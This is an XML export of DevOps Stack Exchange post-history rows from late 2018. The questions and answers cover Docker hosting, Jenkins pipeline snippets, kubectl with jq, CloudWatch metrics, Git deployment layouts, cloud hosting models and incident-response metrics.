  <row Id="17719" PostHistoryTypeId="3" PostId="5567" RevisionGUID="f42edc6a-01b6-497b-8c19-cbdb13c02e0a" CreationDate="2018-11-28T14:22:18.737" UserId="707" Text="&lt;docker&gt;&lt;culture&gt;&lt;open-source&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17720" PostHistoryTypeId="2" PostId="5568" RevisionGUID="75c7a9fa-7e6f-429d-992b-016e54d1a069" CreationDate="2018-11-28T21:29:54.213" UserId="9498" Text="PHP has supported `conf.d` configuration subdirectories for ages now (cf. `PHP_INI_SCAN_DIR` in its documentation, this stuff is as old as PHP 5 basically) - allowing you to simply add a small file containing just the snippet of config you need in there, and as long as you make sure it's named so that it's ordered in a way it overrides the defaults, you're done.&#xD;&#xA;&#xD;&#xA;IOW you don't go searching for an existing value to fiddle with, you just add your own." ContentLicense="CC BY-SA 4.0" />
  <row Id="17721" PostHistoryTypeId="50" PostId="1877" RevisionGUID="889dafba-ac02-4379-9ed0-63bc04f01bea" CreationDate="2018-11-28T22:02:50.543" UserId="-1" />
  <row Id="17722" PostHistoryTypeId="2" PostId="5569" RevisionGUID="f435e4f5-456f-4407-ae6a-a0acfff32ab9" CreationDate="2018-11-29T05:12:06.830" UserId="8469" Text="You can use the Jenkins pipeline syntax to get the groovy script.  For example below code will generate radio buttons for active choice parameter. you can generate scripts like this from your jenkins instance at  http://localhost:8080/pipeline-syntax/. More info is here https://jenkins.io/doc/book/pipeline/getting-started/#snippet-generator&#xD;&#xA;    &#xD;&#xA;    def createInputParameters(){&#xD;&#xA;    ([[$class: 'RebuildSettings', autoRebuild: false, rebuildDisabled: false],&#xD;&#xA;     parameters([[$class: 'ChoiceParameter', choiceType: 'PT_RADIO', description: '',&#xD;&#xA;     filterLength: 1, filterable: false, name: 'Select_snapshot_or_release',&#xD;&#xA;      randomName: 'choice-parameter-1683871426502398',&#xD;&#xA;       script: [$class: 'GroovyScript', fallbackScript: [classpath: [], sandbox: true, &#xD;&#xA;        script: 'return &quot;Error&quot;'],&#xD;&#xA;         script: [classpath: [], sandbox: true,&#xD;&#xA;          script: '''return[&#xD;&#xA;                \'snapshots\',\'release\']''']]]]),&#xD;&#xA;                 [$class: 'ThrottleJobProperty', categories: [],&#xD;&#xA;                  limitOneJobWithMatchingParams: false, maxConcurrentPerNode: 0, &#xD;&#xA;                   maxConcurrentTotal: 0,&#xD;&#xA;                   paramsToUseForLimit: '', throttleEnabled: false, throttleOption: &#xD;&#xA;                   'project']])&#xD;&#xA;          }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17723" PostHistoryTypeId="2" PostId="5570" RevisionGUID="5e0ffae8-230f-402a-842e-36c3a1f36d9b" CreationDate="2018-11-29T10:01:39.700" UserId="3164" Text="Since the result is JSON, pipe the result to [**jq**](https://stedolan.github.io/jq/) and go from there.&#xD;&#xA;&#xD;&#xA;    kubectl get -o=custom-columns | jq '.items[0].metadata.name'&#xD;&#xA;&#xD;&#xA;yelds&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ➜ cat abc.json | jq '.items[0].metadata.name'&#xD;&#xA;    &quot;kubernetes-bootcamp-5c69669756-cxhwf&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17725" PostHistoryTypeId="5" PostId="5570" RevisionGUID="65430d8d-a2e5-413d-b983-54bd23d72867" CreationDate="2018-11-29T10:08:58.440" UserId="3164" Comment="deleted 18 characters in body" Text="Since the result is JSON, pipe the result to [**jq**](https://stedolan.github.io/jq/) and go from there.&#xD;&#xA;&#xD;&#xA;    kubectl get | jq '.items[0].metadata.name'&#xD;&#xA;&#xD;&#xA;yelds&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ➜ cat abc.json | jq '.items[0].metadata.name'&#xD;&#xA;    &quot;kubernetes-bootcamp-5c69669756-cxhwf&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17726" PostHistoryTypeId="2" PostId="5571" RevisionGUID="1381408a-02cb-4f1b-a52b-546ac81c2d0b" CreationDate="2018-11-29T10:36:18.983" UserId="10185" Text="Recently AWS just announced **CloudWatch Metric Math** which should be suitable for your use case.&#xD;&#xA;&#xD;&#xA;*References:-*&#xD;&#xA;&#xD;&#xA;- [Amazon CloudWatch Adds Metric Math to Enable Custom Operations on Metrics](https://aws.amazon.com/about-aws/whats-new/2018/04/amazon-cloudwatch-adds-metric-math-to-enable-custom-operations-on-metrics/)&#xD;&#xA;- [Create a CloudWatch Alarm Based on a Metric Math Expression](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Create-alarm-on-metric-math-expression.html)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17730" PostHistoryTypeId="2" PostId="5573" RevisionGUID="4cbeed58-a0ad-4167-8fcc-e49dd0c65a5e" CreationDate="2018-11-29T11:12:50.737" UserId="11100" Text="I have a server,32Gb ram, i7 processor and 2TB hard disk, with Docker engine running in it. I have like 100 development application to be migrated to this docker server. &#xD;&#xA;&#xD;&#xA;So is it a good practice to run all your application in Docker in a single server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17731" PostHistoryTypeId="1" PostId="5573" RevisionGUID="4cbeed58-a0ad-4167-8fcc-e49dd0c65a5e" CreationDate="2018-11-29T11:12:50.737" UserId="11100" Text="Running several application in Docker in a single server" ContentLicense="CC BY-SA 4.0" />
  <row Id="17732" PostHistoryTypeId="3" PostId="5573" RevisionGUID="4cbeed58-a0ad-4167-8fcc-e49dd0c65a5e" CreationDate="2018-11-29T11:12:50.737" UserId="11100" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17733" PostHistoryTypeId="4" PostId="5573" RevisionGUID="1bd9e2ab-5903-4364-afb3-c470f98f62d0" CreationDate="2018-11-29T11:52:41.480" UserId="40" Comment="edited title" Text="Should I run several applications in Docker in a single server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17739" PostHistoryTypeId="2" PostId="5575" RevisionGUID="58cbd4fd-1aa9-47c8-a183-37f608481366" CreationDate="2018-11-29T17:51:32.090" UserId="11109" Text="Azure's Confidential Computing leverages [Intel® SGX][1] to enable applications run code inside secure enclaves. Intel Software Gaurd Extensions (SGX) use a Memory Encryption Engine that encrypts any enclave data that leaves the CPU cache to the RAM using a key that is only accessible to the processor, preventing attacks such as cold-boot, tapping on the memory bus, etc. It also provides isolation of the enclave's address space from any other entity (including the OS kernel and sudo users).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://software.intel.com/en-us/sgx" ContentLicense="CC BY-SA 4.0" />
  <row Id="17740" PostHistoryTypeId="2" PostId="5576" RevisionGUID="99c56b94-b634-4a22-ae65-5cf818d2fe94" CreationDate="2018-11-29T19:17:17.130" UserId="4175" Text="Yes, sure. As long as your resources are enough (i.e., you're not running out of RAM, HDD, CPU, networking), and as long as you are fine with one gigantic single point of failure, there is no reason whatsoever to not run many docker containers on one machine.&#xD;&#xA;&#xD;&#xA;Keep in mind that the overhead of docker is really small - it's all just namespacing on the host kernel, it's not like you're spawning copious amounts of VMs or anything like that.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17741" PostHistoryTypeId="2" PostId="5577" RevisionGUID="42c192ce-11e7-48b4-aa73-b1253007ce86" CreationDate="2018-11-29T20:36:03.787" UserId="11112" Text="I don't have a proper solution to fix the certs, but a work-around is to make docker-compose not care about the mismatch as follows:&#xD;&#xA;```&#xD;&#xA;CURL_CA_BUNDLE= docker-compose up&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="17745" PostHistoryTypeId="2" PostId="5579" RevisionGUID="005f7896-e360-4f29-8848-d1b45c54ef62" CreationDate="2018-11-29T21:53:29.357" UserId="10599" Text="I hope you don't. &#xD;&#xA;&#xD;&#xA;Let's assume that cost is paramount. There is no money for a second server. Then the question doesn't apply as you cannot use more than one server. So the cost of a second server must be okay.  &#xD;&#xA;&#xD;&#xA;Then why wouldn't you take the opportunity to automate the setting up and administration of more than one machine? Then use the development environment with multiple machines as a test place to practice high availability, DR and how to run systems spanning multiple machines.&#xD;&#xA;&#xD;&#xA;Are you intending to run more than one server in production with automatic failover when machines die but are not going to set that up in development? How do you know that automation will every work in production if you haven't practised in development? &#xD;&#xA;&#xD;&#xA;With devops having development, or test, not behave like production always leads to problems. Nothing quite work first time in production so isn't automated, and production is never &quot;fixed&quot; as we don't feel the pain in development, so we just release less often to space out the pain, which isn't at all the spirit of devops.&#xD;&#xA;&#xD;&#xA;Have the ambition to learn everything that you will do in production by practising making development like production, feel the pain of that, and change production until there is no pain doing the same things in development. You don't have to have the entire scale of production in development as that would be expensive, but at a minimum two servers that you can easily shift things between, or run a service across as highly available, is a huge leap over having a single server. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17746" PostHistoryTypeId="2" PostId="5580" RevisionGUID="3c541783-8a4a-4050-8fb3-932e0f137c99" CreationDate="2018-11-29T22:46:34.510" UserId="10599" Text="The [documentation][1] shows that you can have 40+ branches with different configurations. You express concern that the configuration becomes large. With a good editor that isn't really a problem. Yet that feels wrong, right?&#xD;&#xA;&#xD;&#xA;With git, in general, a repository per independent deployable works better than a single repository holding many independent deployables. So an alternative layout is not 1 repo with 40 branches, but 1+40 repos. That would be 1 repo that builds the latest code and [creates releases][2]. Then 40 repos that represent the configuration to deploy a particular release of the code configured for one website. The 40 repos that deploy the code can hold the per-website configuration and a standardised build script that simply downloads the right release of the code. The environment configuration in that repo can then push out the correct code and configuration to the correct environment. &#xD;&#xA;&#xD;&#xA;We use a 1+N+M git repos. We have 1 repo that holds the deploy scripts. They are versioned and released. We have N repos that build the different apps into releases. Currently, two php apps and two react apps that are upgraded independently. Then M repos that represent the environments/sites we deploy into which is staging and live. &#xD;&#xA;&#xD;&#xA;Why version the release scripts? Well, they change over time and when some new feature of the apps needs to be configured (e.g. using new 3rd party API) we might have to upgrade the release scripts used for one app in one environment repo. So the release scripts have their own lifecycle and their own deployments (when we upgrade how an environment configures and releases a particular app). &#xD;&#xA;&#xD;&#xA;We are using k8s (OKD) and the deployment scripts are using helm. That just means that our deployment scripts and environment setup are simpler and rollback/downgrade is fully automated. I started a project to opensource our approach to deploying apps from git which is called OCD. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/environments.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/workflow/releases.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17747" PostHistoryTypeId="5" PostId="5580" RevisionGUID="d54293cd-23f5-4800-8feb-ad351ad6db7c" CreationDate="2018-11-29T23:01:29.853" UserId="10599" Comment="deleted 65 characters in body" Text="The [documentation][1] shows that you can have 40+ branches with different configurations. You express concern that the configuration becomes large. With a good editor that isn't really a problem. Yet that feels wrong, right?&#xD;&#xA;&#xD;&#xA;With git, in general, a repository per independent deployable works better than a single repository holding many independent deployables. So an alternative layout is not 1 repo with 40 branches, but 1+40 repos. That would be 1 repo that builds the latest code and [creates releases][2]. Then 40 repos that represent the configuration to deploy a particular release of the code configured for one website. The 40 repos that deploy the code can hold the 40 per-website configurations and a standardised build script that simply downloads the right release of the code to deploy along with the website configuration into the environment. &#xD;&#xA;&#xD;&#xA;We use a 1+N+M git repos. We have 1 repo that holds the deploy scripts. They are versioned and released. We have N repos that build the different apps into releases. Currently, two php apps and two react apps that work together but are deployed and upgraded independently. Then M repos that represent the environments/sites we deploy into which is currently only staging and live. &#xD;&#xA;&#xD;&#xA;Why version the release scripts? Well, they change slowly over time and we only want to upgrade an app in a given env with a new version of a release script when we have to. &#xD;&#xA;&#xD;&#xA;We are using k8s (OKD) and the deployment scripts are using helm. That just means that our deployment scripts and environment setup are simpler and rollback/downgrade is fully automated. We don't actually down the app to deploy it we just push out the docker registry tag of the version of the code we want to deploy into a given environment. I started a project to opensource our approach to deploying apps from git which is called OCD. It is still a work in progress but it demonstrates some of the above ideas. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/environments.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/workflow/releases.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17748" PostHistoryTypeId="5" PostId="5580" RevisionGUID="3168077f-8ccf-4b17-9492-a7faaf7d4489" CreationDate="2018-11-29T23:08:00.480" UserId="10599" Comment="deleted 65 characters in body" Text="The [documentation][1] shows that you can have 40+ branches with different configurations. You express concern that the configuration becomes large. With a good editor that isn't really a problem. Yet that feels wrong, right?&#xD;&#xA;&#xD;&#xA;With git, in general, a repository per independent deployable works better than a single repository holding many independent deployables. So an alternative layout is not 1 repo with 40 branches, but 1+40 repos. That would be 1 repo that builds the latest code and [creates releases][2]. Then 40 repos that represent the configuration to deploy a particular release of the code configured for one website. The 40 repos that deploy the code can hold the 40 per-website configurations and a standardised build script that simply downloads the right release of the code to deploy along with the website configuration into the environment. &#xD;&#xA;&#xD;&#xA;We use a 1+N+M git repos. We have 1 repo that holds the deploy scripts. They are versioned and released. We have N repos that build the different apps into releases. Currently, two php apps and two react apps that work together but are deployed and upgraded independently. Then M repos that represent the environments/sites we deploy into which is currently only staging and live. &#xD;&#xA;&#xD;&#xA;We are using k8s (OKD) and the deployment scripts are using helm. That just means that our deployment scripts and environment setup are simpler and rollback/downgrade is fully automated. We don't actually download the app to deploy during our build. Instead, we simply push out the docker registry tag of the version of the code we want to deploy into a given environment. &#xD;&#xA;&#xD;&#xA;I started a project to opensource our approach to deploying apps from git which is called OCD. It is still a work in progress but it demonstrates some of the above ideas. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/environments.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/workflow/releases.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17749" PostHistoryTypeId="5" PostId="5580" RevisionGUID="b89e3e33-d8aa-420d-afcb-5b35d1a0ff97" CreationDate="2018-11-29T23:13:05.170" UserId="10599" Comment="deleted 65 characters in body" Text="The [documentation][1] shows that you can have 40+ branches with different configurations. You express concern that the configuration becomes large. With a good editor that isn't really a problem. Yet that feels wrong, right?&#xD;&#xA;&#xD;&#xA;With git, in general, a repository per independent deployable works better than a single repository holding many independent deployables. So an alternative layout is not 1 repo with 40 branches, but 1+40 repos. That would be 1 repo that builds the latest code and [creates releases][2]. Then 40 repos that represent the configuration to deploy a particular release of the code configured for one website. The 40 repos that deploy the code can hold the 40 per-website configurations and a standardised build script that simply downloads the right release of the code to deploy along with the website configuration into the environment. &#xD;&#xA;&#xD;&#xA;We use a 1+N+M git repos. We have 1 repo that holds the deploy scripts. They are versioned and released. We have N repos that build the different apps into releases. Currently, two php apps and two react apps that work together but are deployed and upgraded independently. Then M repos that represent the environments/sites we deploy into which is currently only staging and live. &#xD;&#xA;&#xD;&#xA;We are using k8s (OKD) and the deployment scripts are using helm. That just means that our deployment scripts and environment setup are simpler and rollback/downgrade is fully automated. We don't actually download the app to deploy during our build. Instead, we simply push out the docker registry tag of the version of the code we want to deploy into a given environment. &#xD;&#xA;&#xD;&#xA;I started a project to opensource our approach to deploying apps from git which is called [OCD][3]. It is still a work in progress but it demonstrates some of the above ideas. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/environments.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/workflow/releases.html&#xD;&#xA;  [3]: https://github.com/ocd-scm/ocd-meta/wiki" ContentLicense="CC BY-SA 4.0" />
  <row Id="17750" PostHistoryTypeId="2" PostId="5581" RevisionGUID="87307508-bad1-4f10-8b8e-fcc3599d90a3" CreationDate="2018-11-30T01:05:17.530" UserId="11116" Text="Some background:&#xD;&#xA;&#xD;&#xA;I've got an existing build system that creates (among other things) container images.  Due to the nature of their contents, they are suitable for running on practically any containerization toolset one might care to use.  &#xD;&#xA;&#xD;&#xA;Now I've got some users who want to load them into Docker.  Ok, that works fine, except that each revision of the container image imports separately.&#xD;&#xA;&#xD;&#xA;The users would like to take advantage of the space-saving capabilities of Docker layers to deduplicate data between versions.&#xD;&#xA;&#xD;&#xA;I could, of course, instantiate the previous image, and then use rsync or similar to update it and then commit it (and that's what I'll do if I have to) but that seems like an awfully clunky workflow.&#xD;&#xA;&#xD;&#xA;The question:&#xD;&#xA;&#xD;&#xA;Is there some piece of functionality built into Docker that I'm just not finding that would simplify the process of importing updated image tarballs into an existing image's history?  I can find all kinds of resources about pruning and flattening Docker history, but nothing for those of us who manage our image contents via other systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="17751" PostHistoryTypeId="1" PostId="5581" RevisionGUID="87307508-bad1-4f10-8b8e-fcc3599d90a3" CreationDate="2018-11-30T01:05:17.530" UserId="11116" Text="Import tarball as next revision" ContentLicense="CC BY-SA 4.0" />
  <row Id="17752" PostHistoryTypeId="3" PostId="5581" RevisionGUID="87307508-bad1-4f10-8b8e-fcc3599d90a3" CreationDate="2018-11-30T01:05:17.530" UserId="11116" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17753" PostHistoryTypeId="5" PostId="5561" RevisionGUID="f6e07549-bb4b-489a-8710-acd0d7d0baac" CreationDate="2018-11-30T01:43:23.400" UserId="354" Comment="clean up formatting" Text="I want to run [easy_install][1] task in order to install many modules in virtual environment.&#xD;&#xA;&#xD;&#xA;Is there an option to install all modules in requirements.txt file? as I understand it accept only one module at a time.&#xD;&#xA;&#xD;&#xA;Another option is to do it with `with_items` but how can I make Ansible &#xD;&#xA;iterate over both the name and the version of each module&#xD;&#xA;&#xD;&#xA;    - name: Install things &#xD;&#xA;      easy_install:&#xD;&#xA;       name: pip&#xD;&#xA;       state: latest&#xD;&#xA;&#xD;&#xA;I want certain versions obviously...&#xD;&#xA;&#xD;&#xA;I can not work with Pip task, only easy_install.&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.4/easy_install_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="17754" PostHistoryTypeId="24" PostId="5561" RevisionGUID="f6e07549-bb4b-489a-8710-acd0d7d0baac" CreationDate="2018-11-30T01:43:23.400" Comment="Proposed by 354 approved by 40, 739 edit id of 869" ContentLicense="CC BY-SA 4.0" />
  <row Id="17759" PostHistoryTypeId="5" PostId="5567" RevisionGUID="d53ec898-2d59-4f2b-91c4-0b558e0dc73c" CreationDate="2018-11-30T04:06:19.357" UserId="707" Comment="added 55 characters in body" Text="Official community distros of well established open source software can be found in Docker Hub at the &quot;special&quot; place, the *library*, explicitely tagged as &quot;official&quot;.&#xD;&#xA;&#xD;&#xA;https://hub.docker.com/u/library/&#xD;&#xA;&#xD;&#xA;How does it get there - by decision of Docker Inc., the company behind Docker, or is there some community application process?&#xD;&#xA;&#xD;&#xA;For example, there is no such image for LaTeX.&#xD;&#xA;&#xD;&#xA;Answers count referencing facts (no opinions)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17760" PostHistoryTypeId="5" PostId="5565" RevisionGUID="8795c904-7a12-4e95-82b3-1b546a185f65" CreationDate="2018-11-30T10:39:21.373" UserId="354" Comment="re-worked the grammar a bit" Text="Officially, you should ask those firewall admins to create you a VPN access on each router, optionally ask them to have only access to your server behind their firewall.&#xD;&#xA;&#xD;&#xA;That will leave you a user account to manage your updates, while at the same time you will be covered legally: if a leak happens, or a security issue happen, the fact you have only VPN access to that server limits your liability and they know that you have access.&#xD;&#xA;&#xD;&#xA;Often internet usage in industrial network is restricted, which is why for me it's the best solution, as asking to have your equipment able to talk to the internet (the way around) could often be an issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="17761" PostHistoryTypeId="24" PostId="5565" RevisionGUID="8795c904-7a12-4e95-82b3-1b546a185f65" CreationDate="2018-11-30T10:39:21.373" Comment="Proposed by 354 approved by 11083 edit id of 870" ContentLicense="CC BY-SA 4.0" />
  <row Id="17765" PostHistoryTypeId="2" PostId="5584" RevisionGUID="eab85bc8-f29f-4e4b-a498-20928cc95fdf" CreationDate="2018-11-30T14:04:46.017" UserDisplayName="user5176" Text="I desire a cloud technology that will redund my need of using Vagrant to continuously integrate OS release upgrades (say from Ubuntu 18.04 to 20.04 including all software installed by `apt-get` --- assuming it will be supported in the next release) and will also redund using Ansible for webserver upgrades (say from Apache 2.4 to Apache 3.4, including automatic changes to all virtual host files --- if any will be necessary).&#xD;&#xA;&#xD;&#xA;## Technologies I found so far&#xD;&#xA;&#xD;&#xA;**1. Minimally controlled cloud:** The user is provided with an OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: DigitalOcean, Linode and so forth).&#xD;&#xA;&#xD;&#xA;**2. Maximally controlled cloud:** Either the user or the company provides the OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: Microsoft Azure, Amazon Web Services (AWS), Google Cloud Platform (GCP) and so forth).&#xD;&#xA;&#xD;&#xA;I understand that using the VA stack (Vagrant-Ansible) could indeed give me just that, but I fear I might be wrong and will be very disappointed and will also lose money - VA stack might require a significnatly higher pricing than my 20-30$ (USD) budget.&#xD;&#xA;&#xD;&#xA;I only use free and open source software (FOSS).&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there any cloud hosting technology that will suit my needs without me needing to use Vagrant or Ansible for constantly upgrading the OS and webserver?&#xD;&#xA;&#xD;&#xA;Maybe the true solution will be to change attitude --- starting to work with ArchLinux where system upgrades including release upgrades are of the &quot;rolling upgrade model&quot;, coming in &quot;bits by bits&quot; through time and are usually never &quot;major&quot;, and maybe also finding another webserver with similar upgrade model?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17766" PostHistoryTypeId="1" PostId="5584" RevisionGUID="eab85bc8-f29f-4e4b-a498-20928cc95fdf" CreationDate="2018-11-30T14:04:46.017" UserDisplayName="user5176" Text="A cloud technology with automatic upgrades of my OS-release and webserver-release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17767" PostHistoryTypeId="3" PostId="5584" RevisionGUID="eab85bc8-f29f-4e4b-a498-20928cc95fdf" CreationDate="2018-11-30T14:04:46.017" UserDisplayName="user5176" Text="&lt;ansible&gt;&lt;linux&gt;&lt;automation&gt;&lt;vagrant&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17768" PostHistoryTypeId="5" PostId="5584" RevisionGUID="faf02a9a-2983-4f77-a6c0-2495666e495d" CreationDate="2018-11-30T14:11:56.977" UserDisplayName="user5176" Comment="added 11 characters in body" Text="I desire a cloud technology that will redund my need of using Vagrant to continuously integrate OS release upgrades (say from Ubuntu 18.04 to 20.04 including all software installed by `apt-get` --- assuming it will be supported in the next release) and will also redund my need of using Ansible for webserver upgrades (say from Apache 2.4 to Apache 3.4, including automatic changes to all virtual host files --- if any will be necessary).&#xD;&#xA;&#xD;&#xA;## Technologies I found so far&#xD;&#xA;&#xD;&#xA;**1. Minimally controlled cloud:** The user is provided with an OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: DigitalOcean, Linode and so forth).&#xD;&#xA;&#xD;&#xA;**2. Maximally controlled cloud:** Either the user or the company provides the OS, DNS zone management tool, bypass console and some more possible tools while the user adds the rest by itself (examples: Microsoft Azure, Amazon Web Services (AWS), Google Cloud Platform (GCP) and so forth).&#xD;&#xA;&#xD;&#xA;I understand that using the VA stack (Vagrant-Ansible) could indeed give me just that, but I fear I might be wrong and will be very disappointed and will also lose money - VA stack might require a significnatly higher pricing than my 20-30$ (USD) budget.&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there any cloud hosting technology that will suit my needs without me needing to use Vagrant or Ansible for constantly upgrading the OS and webserver?&#xD;&#xA;&#xD;&#xA;Maybe the true solution will be to change attitude --- starting to work with ArchLinux where system upgrades including release upgrades are of the &quot;rolling upgrade model&quot;, coming in &quot;bits by bits&quot; through time and are usually never &quot;major&quot;, and maybe also finding another webserver with similar upgrade model?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17769" PostHistoryTypeId="2" PostId="5585" RevisionGUID="be62e354-3d45-4ac7-8692-ae0245e22a18" CreationDate="2018-11-30T16:00:35.367" UserId="397" Text="What you are primarily discussing is the hosting model for the underlying cloud you are using, for example, from what you have said so far your hosting model is relying on Infrastructure-as-a-Service (IaaS), and you want to have less responsibility for managing the Operating System.&#xD;&#xA;&#xD;&#xA;That being the case you would need to move right in the table below to Platform-as-a-Service (PaaS) or Software-as-a-Service (SaaS) - this would mean you transferred the responsibility for updating the OS and Software to the provider, i.e. Azure, Amazon or Google.&#xD;&#xA;&#xD;&#xA;*However, you would also lose some control over the stack that was being used and in addition incur higher costs (in general) than managing it yourself.*&#xD;&#xA;&#xD;&#xA;[![The Cloud Ecosystem - between On-prem to SaaS][1]][1]&#xD;&#xA;&#xD;&#xA;*There is a good analogy [comparing Cloud Hosting Models to Pizza][2] if you prefer something less theoretical and entirely more fun.*&#xD;&#xA;&#xD;&#xA;By way of an example, you can use [Azure WebApps][3] which is a PaaS service to host your application as long as the application is built using PHP, node.js, Java, .NET or Python (and a few others).  You will have little to no control of the web server, operating system, server, storage and networking configuration. You could do similar with Google App Engine and AWS.&#xD;&#xA;&#xD;&#xA;You could also re-platform your application to use an even higher order technology such as Serverless (AWS Lambda, Google Cloud Functions, Azure Functions, etc.) or even host your application on Salesforce's Software-as-a-Service engine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/SSef7.png&#xD;&#xA;  [2]: https://www.episerver.com/learn/resources/blog/fred-bals/pizza-as-a-service/&#xD;&#xA;  [3]: https://azure.microsoft.com/en-gb/services/app-service/web/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17770" PostHistoryTypeId="2" PostId="5586" RevisionGUID="414dff2a-9bc9-4a4c-b213-44281a56ca36" CreationDate="2018-11-30T19:28:35.590" UserId="11133" Text="Use `ADD &lt;tarball_path&gt; ` and use the overlay driver on the build server. &#xD;&#xA;&#xD;&#xA;[This][1] is a useful discussion that adds context&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/21950#issuecomment-208881571" ContentLicense="CC BY-SA 4.0" />
  <row Id="17771" PostHistoryTypeId="5" PostId="5586" RevisionGUID="5d155f0e-3b3b-4731-9694-d0c50f60769a" CreationDate="2018-11-30T19:36:25.250" UserId="11133" Comment="added 13 characters in body" Text="This is a known issue with aufs -- see [here][1] for context.&#xD;&#xA;&#xD;&#xA;Use `ADD &lt;tarball_path&gt; ` and use the overlay driver on the build server. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/21950#issuecomment-208881571" ContentLicense="CC BY-SA 4.0" />
  <row Id="17772" PostHistoryTypeId="5" PostId="2985" RevisionGUID="664406d2-6271-478a-80da-91dc9f502a7d" CreationDate="2018-11-30T21:22:51.650" UserId="210" Comment="added 2 characters in body" Text="Here is my solution: (bitbucket-pipelines.yml)&#xD;&#xA;&#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - export DOCKER_COMPOSE_VERSION=1.18.0&#xD;&#xA;              - export DOCKER_COMPOSE_URL=https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-$(uname -s)-$(uname -m)&#xD;&#xA;              - curl -L $DOCKER_COMPOSE_URL &gt; docker-compose&#xD;&#xA;              - chmod +x docker-compose&#xD;&#xA;              - mv docker-compose /usr/local/bin&#xD;&#xA;              - docker-compose build --force-rm --no-cache --pull&#xD;&#xA;&#xD;&#xA;easy as 1-2-3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17773" PostHistoryTypeId="2" PostId="5587" RevisionGUID="06440c1a-2040-42c5-a4c9-e10edc981e75" CreationDate="2018-12-01T01:40:48.667" UserId="11137" Text="Late to the game here but thought I'd chime in.&#xD;&#xA;&#xD;&#xA;You can't manage what you don't measure, so for starters, here are the key metrics devops teams should be tracking for incident response:&#xD;&#xA;&#xD;&#xA; - **Uptime %** : total % of time available = [total time - downtime] / [total time]&#xD;&#xA; - **MTTR** : mean time to resolution = [downtime] / [# incidents]&#xD;&#xA; - **MTTA** : mean time to acknowledge = [total time to acknowledge] / [# of incidents]&#xD;&#xA; - **MTBF** : mean time between failures = [total time - downtime] / [# of incidents]&#xD;&#xA;&#xD;&#xA;These metrics give you a high level health check of your operations, and help you identify where you need to dig in further.&#xD;&#xA;&#xD;&#xA;Take a look at the [whiteboard animation here][1] for a more in-depth look on the topic.&#xD;&#xA;&#xD;&#xA;Once you know your metrics, you can bump them up against the [cost of downtime][2]. You can start building out your team's ROI from there and set some quantitative metrics for continuous improvement.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pagertree.com/2018/11/20/what-is-mttr/&#xD;&#xA;  [2]: https://www.itondemand.com/2018/05/29/costs-of-downtime/" ContentLicense="CC BY-SA 4.0" />
